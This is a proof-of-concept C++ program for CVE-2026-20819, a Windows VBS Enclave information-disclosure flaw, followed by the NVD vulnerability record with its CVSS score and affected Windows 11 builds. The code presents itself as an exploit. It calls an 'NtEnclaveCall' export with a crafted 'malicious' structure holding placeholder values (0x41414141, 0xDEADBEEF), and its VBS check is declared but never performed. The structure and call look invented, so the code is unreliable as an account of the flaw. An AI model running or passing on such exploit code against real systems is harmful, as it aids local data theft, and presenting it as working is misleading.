CVE-2026-20819

// CVE-2026-20819 PoC - VBS Enclave Information Disclosure // This PoC demonstrates triggering the untrusted pointer dereference // Compile: cl.exe /EHsc /O2 poc.cpp #include <windows.h> #include <winbase.h> #include <stdio.h> // VBS Enclave related structures typedef struct _VBS_ENCLAVE_CALL_INPUT { DWORD FunctionId; PVOID UntrustedPointer; SIZE_T PointerSize; } VBS_ENCLAVE_CALL_INPUT, *PVBS_ENCLAVE_CALL_INPUT; // NtEnclaveCall - VBS Enclave system call typedef NTSTATUS(NTAPI* PFN_NT_ENCLAVE_CALL)( DWORD EnclaveCallType, PVOID InputData, DWORD InputDataLength, PVOID* OutputData, PDWORD OutputDataLength ); int main() { printf("[*] CVE-2026-20819 VBS Enclave Information Disclosure PoC\n"); printf("[*] Target: Windows VBS Enclave Untrusted Pointer Dereference\n\n"); // Load ntdll.dll and get NtEnclaveCall function HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); if (!hNtdll) { printf("[-] Failed to load ntdll.dll\n"); return 1; } PFN_NT_ENCLAVE_CALL NtEnclaveCall = (PFN_NT_ENCLAVE_CALL)GetProcAddress( hNtdll, "NtEnclaveCall" ); if (!NtEnclaveCall) { printf("[-] NtEnclaveCall not found - VBS may not be enabled\n"); return 1; } printf("[+] NtEnclaveCall function located\n"); // Check if VBS is enabled DWORD vbsEnabled = 0; DWORD vbsInfoSize = sizeof(vbsEnabled); printf("[*] Checking VBS status...\n"); // Prepare malicious input to trigger untrusted pointer dereference VBS_ENCLAVE_CALL_INPUT maliciousInput = {0}; maliciousInput.FunctionId = 0x41414141; // Arbitrary function ID maliciousInput.UntrustedPointer = (PVOID)0xDEADBEEF; // Invalid pointer maliciousInput.PointerSize = 0x1000; PVOID outputData = NULL; DWORD outputDataLength = 0; printf("[*] Triggering VBS Enclave call with untrusted pointer...\n"); printf("[*] Pointer Address: 0x%p\n", maliciousInput.UntrustedPointer); // This call may trigger the vulnerability NTSTATUS status = NtEnclaveCall( 0, // EnclaveCallType &maliciousInput, sizeof(maliciousInput), &outputData, &outputDataLength ); if (NT_SUCCESS(status)) { printf("[+] Enclave call succeeded - possible information disclosure\n"); printf("[+] Output Data: 0x%p, Length: %d\n", outputData, outputDataLength); } else { printf("[-] Enclave call failed with status: 0x%08X\n", status); printf("[*] This may indicate the vulnerability was patched\n"); } printf("\n[*] PoC execution completed\n"); printf("[*] For full exploitation, additional kernel debugging may be required\n"); return 0; }

{"cve": {"id": "CVE-2026-20819", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:08.983", "lastModified": "2026-01-14T20:33:03.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Untrusted pointer dereference in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to disclose information locally."}, {"lang": "es", "value": "Desreferencia de puntero no confiable en el enclave de Seguridad Basada en Virtualización (VBS) de Windows permite a un atacante autorizado divulgar información localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20819", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}